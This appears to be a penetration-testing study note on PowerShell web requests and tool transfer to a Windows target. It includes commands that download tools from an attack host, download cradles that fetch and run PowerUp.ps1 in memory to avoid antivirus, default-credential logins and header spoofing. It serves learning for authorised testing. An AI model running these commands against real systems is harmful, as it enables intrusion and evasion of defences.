~/windows-requests-and-transfer

Requests and Transfer

CPTS Notes3 min read

Invoke-WebRequest sends HTTP requests and reads the response, and Invoke-RestMethod handles JSON APIs. To pull a tool onto a target, Invoke-WebRequest -OutFile, certutil, and BITS each download a file, and a download cradle runs a script without touching disk. These are the Windows forms of curl and wget.

Invoke-WebRequest

Request a page (iwr is the alias):

Invoke-WebRequest -Uri http://$TARGET/ -UseBasicParsing # fetch the page

POST a login form:

Invoke-WebRequest -Uri http://$TARGET/login.php -Method POST -Body @{username='admin';password='admin'} -UseBasicParsing

Add headers and send a cookie:

Invoke-WebRequest -Uri http://$TARGET/admin/ -Headers @{'X-Forwarded-For'='127.0.0.1'} -UseBasicParsing # add a header
Invoke-WebRequest -Uri http://$TARGET/dashboard.php -Headers @{Cookie='PHPSESSID=abc123'} -UseBasicParsing # send a cookie

Log in, keep the session cookie, and reuse it:

Invoke-WebRequest -Uri http://$TARGET/login.php -Method POST -Body @{username='admin';password='admin'} -SessionVariable s -UseBasicParsing
Invoke-WebRequest -Uri http://$TARGET/dashboard.php -WebSession $s -UseBasicParsing # reuse the session

Read just the status code:

(Invoke-WebRequest -Uri http://$TARGET/admin/ -UseBasicParsing).StatusCode # status code only
Flag Meaning
-Uri The URL
-Method GET, POST, PUT, and so on
-Body Request body: a hashtable form-encodes, a string goes as is
-Headers A hashtable of request headers
-SessionVariable / -WebSession Save received cookies, then send them back
-OutFile Write the body to a file
-UseBasicParsing Skip the Internet Explorer DOM parser
-SkipCertificateCheck Accept a self-signed certificate (PowerShell 6 and later)

-UseBasicParsing matters on Windows PowerShell 5, where Invoke-WebRequest otherwise needs the Internet Explorer engine and fails on a server install. PowerShell 7 parses this way by default. In PowerShell 5, curl and wget are aliases for Invoke-WebRequest, not the real tools. PowerShell 7 drops the aliases, and curl.exe is the genuine curl.

Invoke-RestMethod

For a JSON API, Invoke-RestMethod parses the response into objects:

Invoke-RestMethod -Uri http://$TARGET/api/login -Method POST -Body (@{username='admin';password='admin'} | ConvertTo-Json) -ContentType 'application/json'

It converts a JSON or XML reply straight into a PowerShell object, so (...).token reads a field.

Downloading files

Save a tool to disk:

Invoke-WebRequest -Uri http://10.10.14.20:8000/winPEASx64.exe -OutFile C:\Windows\Temp\p.exe -UseBasicParsing

The common alternatives, useful when AV blocks one or Invoke-WebRequest is slow:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.20:8000/p.exe','C:\Windows\Temp\p.exe') # .NET WebClient
certutil -urlcache -split -f http://10.10.14.20:8000/p.exe C:\Windows\Temp\p.exe # certutil, a signed binary
Start-BitsTransfer -Source http://10.10.14.20:8000/p.exe -Destination C:\Windows\Temp\p.exe # BITS, resumable
curl.exe -o C:\Windows\Temp\p.exe http://10.10.14.20:8000/p.exe # real curl, Windows 10+

Invoke-WebRequest -OutFile is slow on large files because it buffers in memory. Net.WebClient and BITS stream to disk. Windows ships certutil and curl.exe signed and built in, so they draw less attention than a PowerShell download, though EDR flags the certutil -urlcache pattern.

Download cradle

Run a script straight from your HTTP server, with no copy on disk:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20:8000/PowerUp.ps1') # fetch and run in memory
iex (iwr http://10.10.14.20:8000/PowerUp.ps1 -UseBasicParsing) # same, shorter

The session runs whatever the server returns. Use this only with a server you control. It leaves no file for AV to scan, which is why it is the usual way to run PowerUp and similar scripts (see Privesc Primer).

File transfer

File transfer has its own section. Start with Choosing a Method, and the Windows commands are in Windows Transfers. To read a TLS certificate, openssl on your attack host is simplest (Requests and Transfer).